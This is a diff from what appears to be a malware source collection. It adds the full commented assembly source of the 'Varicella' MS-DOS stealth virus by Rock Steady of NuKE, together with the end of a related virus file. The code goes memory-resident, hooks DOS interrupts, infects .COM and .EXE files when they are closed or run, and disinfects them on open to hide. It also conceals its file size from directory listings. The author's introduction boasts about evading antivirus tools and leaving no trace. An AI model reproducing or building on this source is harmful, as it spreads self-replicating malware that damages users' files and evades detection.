;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +; Mutate and infect +;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +rand_val dw 0 +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +;------------------------------------------------------------------------------- +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.varicell.asm b/MSDOS/Virus.MSDOS.Unknown.varicell.asm new file mode 100644 index 00000000..2b05c154 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.varicell.asm @@ -0,0 +1,865 @@ + + NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE + uK E- + KE "The Varicella Virus Source Codes -N + E- Nu + -N uK + Nu By KE + uK Rock Steady E- + KE -N + E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu + +ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults +in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This +time I had a lot of time, and I _fully_ commented the source codes. + +% Improvements % + +The most major improvement is the infection routine, I have created a generic +method that will always use the same infection/disinfection routine. If you +remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice, +which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes, +and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should +never crash for any reason. And it has _many_ added features that N-Pox v2.0 +didn't have! + + +% Introduction to the ideology of the Stealth Virus % + +Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT +that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR +INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus +will actually remove the virus from the infected program. It will NOT attempt +a disinfection in memory only! It does have the ability to do this to a +certain extent, if you execute the file, and if you jump towards the end +of the file by Int21h/4202h the SVC virus will fool DOS to think that the file +is not infected, whereby it really is. But this method has a MAJOR flaw, one +flaw is exercised by F-Prot anti-virus, to defeat this dumb method. + +The major flaw is that these viruses _cannot_ keep track of file pointers, it +would take too much code to exercise this. So if you read a file from the +beginning and read sequentially toward the end, surely enough you will +encounter the SVC virus, because it does not have the ability to keep track +of the file pointer. So in order to fix this, SVC will do a _real_ disinfection +of the file on disk. Therefore in all aspects the file will look clean, as it +_is_ clean! Also note, that the SVC viruses also infect System Device drivers, +this is _rarely_ noted, maybe because people use VSUM as a reference? + +% Varicella Features % + +The virus will only infect .com and .exe generic files. I have removed the +.ovl infections because of certain crashes that persist with certain large +programs. No virus to date successfully does this for some reason. + +The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h) +and by File Handles method (Int21h/ah=4Eh,4Fh). + +The virus will disinfect the file on opens & extended opens via +(Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed, +(Int21h/ah=4Bh) and will later reinfect it when it has terminated. + +The virus will infect on closing (Int21h/ah=3Eh) and it uses the very +sophisticated Job File Table method (The List of List). + +Infection is denoted by the seconds field will equal the day of the month! This +method is _a lot_ better than having the seconds field to 60 or 62, because many +AV programs flag on invalid seconds field. Therefore now the seconds field will +be from a number 1->31 (Days in a month), and only with a 6% chance of an +invalid second field stamp. Also in order not to create problems, the last two +bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of +detecting infection, because we wouldn't want to `disinfect' a file that isn't +infected, so we must be 100% sure. + +I found it no use to have a `fake' disinfection routine, whereby it fakes a +disinfection, for the reason that this method contains several flaws. And I +found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed +_very_ little signs of abnormality. So in speed wise, it's very fast, what is +a 1-2 millisecond more, (1/100s of a second). + +When disinfecting a file, the virus even puts back the original seconds field +time stamp, leaving absolutely no trace of its existence! How many viruses do +that? huh? + +% To Come % + +Well I already have a multi-partition version of this virus, I'm currently +tring to add NED polymorphic possibilities to this virus. This will be a nice +task, as NED is variable in length, therefore I have to save the original +file length, or I will fix NED to be constant in length. Nevertheless you +should see it coming soon. + +% About the Name % + +Well I didn't want to call this N-Pox, because it has NO code similarities +with N-Pox, the only thing they share is the method of going resident. + +But I called this "Varicella" because, Varicella is the medical term for +(Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken +Pox, when an adult gets it, you call it Varicella! So I found it appropriate +to call this Varicella because it is perhaps the `adult' or later out come +of the N-Pox virus. + +;================================================================= +; (c) NuKE Software Development 1991, 1992, 1993 +; +; VARICELLA VIRUS (Size 1483) +; +; By Rock Steady +; +; TASM VARICELL; +; TLINK/T VARICELL; +; +virus_size equ last - init_virus ;virus size (bytes) +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;offset in memory + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax ;save registers + push ds + push es + + mov ax,0abcdh ;check if virus is + int 13h ;alive in memory + jmp next_code1 ;force jump + +virus_here: jmp exit_com ;error jump exit + +next_code1: cmp bx,0abcdh ;cmp bx if virus alive + jnz install_virus + jmp virus_here ;yes, skip memory part + +install_virus: push bx ;save registers + push cx + push dx + push si + push di + push ds + + xor dx,dx ;0 value to dx + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + + pop ds ;DS=PSP (.exe only) + push ds ;save DS + mov ax,ds ;ds=cx + dec ax ;dec cx, cx=mcb + mov es,ax ;es=cx, mcb + mov bx,es:mut1 ;bx=es:0003, mem size + mov dx,virus_size ;dx=virus size (bytes) + mov cl,4 + shr dx,cl ;convert bytes to 16k + add dx,4 ;paragraphs + 1 + mov cx,es ;cx=psp segment + sub bx,dx ;sub virus size from + inc cx ;new mem address + mov es,cx ;new segment + mov ah,4ah ;set the block size + int 21h + + jc exit_mem + mov ah,48h + dec dx ;alloc the mem + mov bx,dx ;bx=# of para blocka + int 21h + + jc exit_mem + dec ax ;new segment add + mov es,ax ;ax=es=mcb + mov cx,8h ;DOS is the owner + mov es:mut2,cx ;put it in mcb + sub ax,0fh + mov di,mut3 ;new offset to go + mov es,ax ;es=segment + mov si,bp ;add delta offset + add si,offset init_virus ;begining of virus + mov cx,virus_size ;our size + push cs ;get the correct + pop ds ;segment in ds + cld ;clear direction to + + repne movsb ;move us + + mov ds,cx ;ds=0000 + cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + +exit_mem: pop ds ;restore 'em + pop di + pop si + pop dx + pop cx + pop bx + +exit_com: cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs ;fix cs=ds for .com + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop es + pop ds + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop es + pop ds + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +ax_reg dd 0 +bp_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 ;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + 